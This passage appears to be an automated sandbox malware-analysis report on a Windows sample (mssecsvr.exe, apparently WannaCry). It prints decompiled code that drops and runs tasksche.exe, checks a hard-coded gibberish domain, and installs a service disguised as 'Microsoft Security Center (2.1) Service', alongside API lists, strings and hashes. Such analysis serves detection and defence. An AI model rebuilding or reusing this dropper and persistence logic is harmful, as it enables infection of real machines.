Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1544, Parent PID: 588

General

Target ID:	16
Start time:	09:08:08
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 12036, Parent PID: 588

General

Target ID:	22
Start time:	09:08:51
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 12480, Parent PID: 588

General

Target ID:	23
Start time:	09:08:58
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 14752, Parent PID: 588

General

Target ID:	24
Start time:	09:09:28
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 16696, Parent PID: 588

General

Target ID:	26
Start time:	09:09:50
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff726010000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvr.exePID: 7092, Parent PID: 7052COMMON

Execution Graph

Execution Coverage:	71.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63.2%
Total number of Nodes:	38
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				int _t59;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x76f1f7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x76f1fc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0); // executed
													FindCloseChangeNotification(_t107); // executed
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													_t59 = CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604); // executed
													if(_t59 != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ee8
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F3EFB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00407E61
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407E68
CreateProcessA.KERNELBASE ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

kernel32.dll, xrefs: 00407CEA
WINDOWS, xrefs: 00407DF2, 00407E0D
tasksche.exe, xrefs: 00407DEA
C:\%s\qeriuwjhrf, xrefs: 00407E12
D, xrefs: 00407ED3
CreateProcessA, xrefs: 00407D07
C:\%s\%s, xrefs: 00407DFB
/i, xrefs: 00407E8D
CloseHandle, xrefs: 00407D29
CreateFileA, xrefs: 00407D0F
WriteFile, xrefs: 00407D1C

Memory Dump Source

Source File: 00000004.00000002.393817907.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.393776309.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393909470.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393922554.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394543380.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394669137.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$CloseFileHandle$CreateFindsprintf$ChangeLoadLockModuleMoveNotificationProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 1541710770-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000004.00000002.393817907.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.393776309.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393909470.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393922554.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394543380.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394669137.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000004.00000002.393817907.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.393776309.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393909470.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393922554.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394543380.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394669137.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F3EFB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

Microsoft Security Center (2.1) Service, xrefs: 00407C90
%s -m security, xrefs: 00407C50
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000004.00000002.393817907.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.393776309.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393909470.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393922554.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394543380.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394669137.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F3EFB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000004.00000002.393817907.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.393776309.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393909470.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393922554.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394543380.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.394669137.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvr.exePID: 7156, Parent PID: 588COMMON

Execution Graph

Execution Coverage:	36.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F3EFB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000007.00000002.984099434.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.984085760.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984143017.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984151041.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984163343.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984198210.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984217790.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.984280086.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
